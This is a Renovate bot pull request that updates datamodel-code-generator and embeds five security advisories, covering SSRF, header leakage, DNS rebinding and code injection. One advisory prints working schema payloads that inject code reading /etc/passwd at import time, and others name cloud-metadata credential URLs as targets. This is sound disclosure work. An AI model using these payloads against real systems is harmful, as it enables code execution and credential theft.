Skip to content

chore(deps): update dependency datamodel-code-generator to v0.64.0 [security] - #666

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-datamodel-code-generator-vulnerability
Open

chore(deps): update dependency datamodel-code-generator to v0.64.0 [security]#666
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-datamodel-code-generator-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 1, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
datamodel-code-generator 0.31.20.64.0 age confidence

datamodel-code-generator vulnerable to SSRF via --url: no host/IP validation, follows redirects

CVE-2026-54691 / GHSA-rfr2-mq9m-x2qx

More information

Details

Summary

datamodel-code-generator's built-in HTTP fetcher (http.get_body) issues an httpx.GET against any URL passed to --url (or reached via a redirect chain) with no allow-list, no deny-list, no IP/host validation, and follow_redirects=True. Loopback addresses, RFC1918 ranges, link-local (169.254.169.254 cloud metadata), unique-local IPv6 and any other network-accessible target are all reachable. The JSON/YAML response body is parsed as a schema and reflected into the generated .py source, exfiltrating the response to anyone with access to that file (commonly committed to a repository).

Details

Sink: src/datamodel_code_generator/http.py, get_body (lines 31–61, at tag 0.60.1 / commit a321547e):

def get_body(url, headers=None, ignore_tls=False,
             query_parameters=None, timeout=DEFAULT_HTTP_TIMEOUT) -> str:
    httpx = _get_httpx()
    try:
        response = httpx.get(
            url,
            headers=headers,
            verify=not ignore_tls,
            follow_redirects=True,          # (A)
            params=query_parameters,
            timeout=timeout,
        )
    except Exception as e:
        ...
    if response.status_code >= 400:
        ...
    content_type = response.headers.get("content-type", "").lower()
    if "text/html" in content_type:
        raise SchemaFetchError(...)         # (B) — only filter
    return response.text                    # (C) → embedded in generated.py
  • (A) follows redirects unconditionally — a public URL → 302 → internal address chain works.
  • (B) the only filter is rejecting text/html. Non-HTML internal endpoints (JSON APIs, cloud metadata, admin services) pass through.
  • (C) the response body becomes the schema; its title, description, properties, etc. land in the generated .py as class attributes and Field(description=...) strings.

get_body is called by parser/base.py:1326 (_get_text_from_url), which is reached from CLI argument --url <URL>. (The $ref path is a separate advisory — see GHSA-D.)

Only affects users who installed the [http] extra (pip install 'datamodel-code-generator[http]').

PoC

A self-contained one-file PoC available here:
https://gist.github.com/thegr1ffyn/18de777d6c800a3b47715425e3f3e8f5

Impact

Who is impacted. Anyone who runs datamodel-codegen with a --url they didn't fully verify, or who runs it inside a network with reachable internal services. Realistic scenarios:

  1. Trojan documentation / README. A blog post or README example reads datamodel-codegen --url https://schemas.example.com/user.json -o user.py. The attacker controls example.com, redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>, and the IAM credentials end up as a docstring in user.py.
  2. Internal port scan / disclosure. Iterating --url http://127.0.0.1:<port>/health probes localhost services; non-HTML, non-error responses confirm a service and leak its body into the generated file.
  3. CI poisoning. A PR adds a Makefile rule that calls datamodel-codegen --url $(SCHEMA_URL); the CI runner reaches every internal service in its VPC and the response lands in PR artifacts.

Suggested fix. Resolve the URL host, reject loopback / private / link-local / multicast / reserved IPs by default, disable redirects by default (follow_redirects=False), re-validate after each redirect if the user opts into following them, and add an --allow-private-network flag for opt-in legitimate use.

Maintainer resolution

This report was fixed together with GHSA-954p-556p-r752 by the private security PR koxudaxi/datamodel-code-generator-GHSA-rfr2-mq9m-x2qx#1, merged into the public repository as 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb. Follow-up generated-file and coverage fixes were merged in koxudaxi/datamodel-code-generator#3279 and docs were synced in #​3280. The patched release is 0.61.0.

The patch hardens the shared HTTP fetcher used by both direct CLI --url fetching and remote JSON Schema/OpenAPI $ref resolution:

  • validates HTTP(S) URLs before fetching;
  • blocks localhost, loopback, private, link-local, reserved, and other non-public network targets by default;
  • disables automatic redirect following and validates each redirect target before requesting it;
  • adds --allow-private-network / allow_private_network=True as an explicit opt-in for trusted internal schema endpoints.

Remote $ref fetching remains controlled by --allow-remote-refs; non-public/internal targets additionally require --allow-private-network.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


datamodel-code-generator: Authorization / request headers leaked to cross-origin redirect target when fetching remote schemas

CVE-2026-55403 / GHSA-r5vv-ff45-prp2

More information

Details

Summary

When datamodel-code-generator fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any Authorization header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.

Details

In src/datamodel_code_generator/http.py, get_body() follows redirects manually and re-issues each hop with the same headers argument, with no check that the origin is unchanged:

for redirect_count in range(MAX_HTTP_REDIRECTS + 1):
    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)
    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop
    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:
        break
    current_url = redirect_url

Browsers and HTTP clients such as requests/httpx strip Authorization when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via --http-headers (and credentials can also arrive through --url userinfo), so a redirect from the trusted host to any other host discloses them.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2
Host A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A.

(The PoC uses loopback servers; allow_private_network=True is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)

Impact

Exposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (--http-headers, --url with userinfo) when the configured host issues a redirect to a different origin — e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied $ref. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project's other SSRF hardening.

Suggested remediation

When a redirect changes the origin (scheme/host/port), drop Authorization and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1

Fix summary: strip Authorization, Cookie, and Proxy-Authorization headers when a redirect crosses origin; preserve headers for same-origin redirects.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for the redirect regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


datamodel-code-generator vulnerable to code injection via unescaped carriage return in GraphQL Union description

CVE-2026-54621 / GHSA-j884-q54q-mmx3

More information

Details

Summary

datamodel-code-generator is vulnerable to code injection when generating Python models from an attacker-controlled GraphQL schema. A description on a Union type, written in the regular-string form ("...") with a literal \r escape, is rendered into a Python # comment by a Jinja2 filter that handles only \n. Python's tokenizer treats a bare CR as a physical-line terminator, so the comment ends at the \r and the text after it is parsed as module-level Python. The injected code executes at import time of the generated .py, in the context of any consumer that imports the model. No special CLI flags are required.

This affects versions >=0.25.0, <0.60.1 and is fixed in 0.60.1.

Details

The vulnerable output was generated by the GraphQL Union templates:

  • src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2
  • src/datamodel_code_generator/model/template/UnionTypeAliasAnnotation.jinja2
  • src/datamodel_code_generator/model/template/UnionTypeAliasType.jinja2

Before 0.60.1, Union descriptions were rendered as Python comments using logic equivalent to # {{ description | replace('\n', '\n# ') }}.

The Jinja2 replace filter handled \n, but bare \r was not normalized. Python's lexical analysis treats CR, LF, and CRLF as physical line terminators. As a result, a malicious GraphQL schema could cause the generated Python comment to end early and emit attacker-controlled text as module-level Python code.

The description value reaches Union generation from graphql-core through description=union_object.description. GraphQL regular string values can contain \r escapes, and graphql-core preserves that value. Block strings are not affected in the same way because their line endings are normalized before reaching code generation.

Impact

An attacker who can provide or influence a GraphQL schema processed by datamodel-code-generator could cause arbitrary Python code to be generated into the output file. That code would execute with the privileges of the process importing the generated model.

This can affect developers, CI pipelines, or applications that run datamodel-codegen --input-file-type graphql on untrusted or third-party GraphQL schemas and then import the generated Python module.

No custom templates, special CLI flags, or remote reference options are required.

Remediation

Upgrade to datamodel-code-generator 0.60.1 or later.

The fix normalizes carriage returns in GraphQL Union descriptions before rendering them as Python comments, so injected text remains inside the comment block.

Resolution

The fix applies comment_safe to GraphQL Union descriptions before template rendering. It normalizes CRLF and bare CR to LF so the existing Union comment templates keep the whole description inside the generated Python comment block.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


datamodel-code-generator vulnerable to code injection via x-python-import / customTypePath in generated import statements

CVE-2026-55415 / GHSA-5578-w22f-pfx9

More information

Details

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

  • src/datamodel_code_generator/imports.py:35from_full_path() only does class_path.split(".") and preserves every other character, including newlines:
    @classmethod
    @lru_cache
    def from_full_path(cls, class_path: str) -> Import:
        split_class_path: list[str] = class_path.split(".")
        return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  • src/datamodel_code_generator/imports.py:64create_line() renders the result verbatim:
    def create_line(self, from_: str | None, imports: set[str]) -> str:
        if from_:
            return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
        return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

  1. x-python-importsrc/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):
    x_python_import = ref_schema.extras.get("x-python-import")
    if isinstance(x_python_import, dict):
        module = x_python_import.get("module")
        type_name = x_python_import.get("name")
        if module and type_name:
            full_path = f"{module}.{type_name}"
            import_ = Import.from_full_path(full_path)
            self.imports.append(import_)
  2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


datamodel-code-generator vulnerable to SSRF via JSON-Schema $ref to HTTP URL (silent by default)

CVE-2026-54690 / GHSA-954p-556p-r752

More information

Details

Summary

JSON-Schema $ref values pointing at HTTP or HTTPS URLs are silently dereferenced by datamodel-code-generator with no IP/host validation, no scheme allow-list, and redirects followed unconditionally. The --allow-remote-refs gate added in 0.56.0 defaults to None, which only emits a deprecation warning and then fetches the URL anyway; only explicit --allow-remote-refs=false blocks the request. The fetched body is parsed as a sub-schema and reflected verbatim into the generated .py source. As a result, any JSON-Schema document the developer feeds to datamodel-codegen — including documents authored by an attacker — can pivot to arbitrary internal addresses and leak the response into the generated code, with no developer cooperation beyond running the tool.

Details

Sink: src/datamodel_code_generator/parser/jsonschema.py, _get_ref_body (lines 4776–4793, at tag 0.60.1 / commit a321547e):

def _get_ref_body(self, resolved_ref: str) -> dict[str, YamlValue]:
    if is_url(resolved_ref):
        if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
            if self.allow_remote_refs is False:
                raise Error(f"Fetching remote $ref is disabled: {resolved_ref}...")
            if self.allow_remote_refs is None:
                warn_deprecated(                            # (A) warn only
                    "behavior.remote-ref-default",
                    details=f"Reference: {resolved_ref}",
                    stacklevel=2,
                )
        return self._get_ref_body_from_url(resolved_ref)    # (B) fetch fires
    return self._get_ref_body_from_remote(resolved_ref)
  • (A) emits a deprecation warning when allow_remote_refs is its default (None); execution falls through to (B).
  • (B) routes the URL through _get_text_from_urlget_body, the same fetcher described in other report — no IP validation, redirects followed.

The fetched body is then parsed as a sub-schema and merged into the model graph, so description, title, properties, etc. from the remote document end up in the generated .py source.

Only affects users who installed the [http] extra (pip install 'datamodel-code-generator[http]').

PoC

A self-contained one-file PoC is available here: https://gist.github.com/thegr1ffyn/562a6972d7dc3f2869458ae93fc608c0

Impact

Who is impacted. Anyone running datamodel-codegen on a JSON-Schema or OpenAPI document of uncertain provenance, with the [http] extra installed. Real-world scenarios:

  1. Trojaned OpenAPI document. A public REST API publishes openapi.yaml. One $ref points at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>; running datamodel-codegen against the spec from an EC2 instance leaks the IAM credentials into the generated client.
  2. Customer-supplied JSON Schema. A B2B SaaS auto-generates client code from customer-uploaded schemas. The customer adds an HTTP $ref to http://internal-admin:8080/users.json; the response (e.g. JSON user list) ends up in the generated Python the SaaS hands back to the customer.
  3. CI on a private network. A PR adds schemas/inbound.json with an HTTP $ref pointed at a service reachable only from the CI cluster's VPC; the CI runner fetches it and the generated .py leaks the response in PR artifacts.

Higher real-world risk than the sibling CLI-flag SSRF (other SSRF in this report bundle) because the schema author chooses the destination — the developer doesn't have to type any URL.

Suggested fix.

  1. Flip the default in parser/base.py: allow_remote_refs: bool = False, and remove the silent-fetch-with-warning fallback at parser/jsonschema.py:4786-4791.
  2. When fetching is allowed, apply the same IP/host validation proposed for other submitted SSRF report to both the initial $ref URL and every redirect target.
  3. Document HTTP $ref in a third-party schema as equivalent to running curl on the developer's host.
Maintainer resolution

This $ref report is fixed by the same shared HTTP fetcher hardening that resolved GHSA-rfr2-mq9m-x2qx. The code landed through the GHSA-rfr2 private security PR koxudaxi/datamodel-code-generator-GHSA-rfr2-mq9m-x2qx#1 and was merged into the public repository as 5fdba4a09f2d7a9996a504975b7ef7d63e3715bb. Follow-up generated-file and coverage fixes were merged in koxudaxi/datamodel-code-generator#3279 and docs were synced in #​3280. The patched release is 0.61.0.

No separate net code diff remains in the GHSA-954 private PR because the shared HTTP fetcher patch is already present on main. This advisory remains separate because the affected entry point is remote JSON Schema/OpenAPI $ref resolution rather than direct CLI --url input.

The fix does not flip the --allow-remote-refs compatibility default in this patch. Instead, it mitigates the SSRF issue by blocking localhost, loopback, private, link-local, reserved, and other non-public network targets by default, validating every redirect target before it is fetched, and requiring --allow-private-network / allow_private_network=True for trusted internal schema endpoints. Remote $ref fetching remains controlled by --allow-remote-refs; non-public/internal targets additionally require --allow-private-network.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


datamodel-code-generator vulnerable to SSRF protection bypass via DNS rebinding

CVE-2026-55391 / GHSA-vx7x-vcc2-c44g

More information

Details

Summary

datamodel-code-generator's anti-SSRF guard validates the resolved IP of a fetch target once and then lets httpx perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (169.254.169.254), and other internal services — even with the default allow_private_network=False. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote $ref, or --url).

Details

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the host via _get_ips_from_host() (socket.getaddrinfo) and rejects non-global addresses:

ips = _get_ips_from_host(host)            # resolution #&#8203;1 (validation)
if not ips: return
if all(_is_safe_ip(ip) for ip in ips): return
raise SchemaFetchError(...)               # blocks private/link-local/reserved

It then connects with a separate, independent resolution:

response = httpx.get(current_url, ...)    # resolution #&#8203;2 (connection) -- NOT pinned to #&#8203;1

Nothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4
It starts a loopback HTTP server standing in for an internal target and patches socket.getaddrinfo to return a public IP on the guard's lookup and 127.0.0.1 on httpx's the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls).

Reachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch http://that-host/schema.json either via --url or via a remote $ref in a supplied schema (remote refs are fetched on the default configuration).

Impact

Server-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs datamodel-code-generator against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (169.254.169.254), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1

Fix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for DNS pinning and URL-fetch regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

koxudaxi/datamodel-code-generator (datamodel-code-generator)

v0.64.0

Compare Source

v0.63.0

Compare Source

v0.62.0

Compare Source

v0.61.0

Compare Source

v0.60.2

Compare Source

v0.60.1

Compare Source

v0.60.0

Compare Source

v0.59.1

Compare Source

v0.59.0

Compare Source

v0.58.0

Compare Source

v0.57.0

Compare Source

v0.56.1

Compare Source

v0.56.0

Compare Source

v0.55.0

Compare Source

v0.54.1

Compare Source

v0.54.0

Compare Source

v0.53.0

Compare Source

v0.52.2

Compare Source

v0.52.1

Compare Source

v0.52.0

Compare Source

v0.51.0

Compare Source

v0.50.0

Compare Source

v0.49.0

Compare Source

v0.48.0

Compare Source

v0.47.0

Compare Source

v0.46.0

Compare Source

v0.45.0

Compare Source

v0.44.0

Compare Source

v0.43.1

Compare Source

v0.43.0

Compare Source

v0.42.2

Compare Source

v0.42.1

Compare Source

v0.42.0

Compare Source

v0.41.0

Compare Source

v0.40.0

Compare Source

v0.39.0

Compare Source

v0.38.0

Compare Source

v0.37.0

Compare Source

v0.36.0

Compare Source

v0.35.0

Compare Source

v0.34.0

Compare Source

v0.33.0

Compare Source

v0.32.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants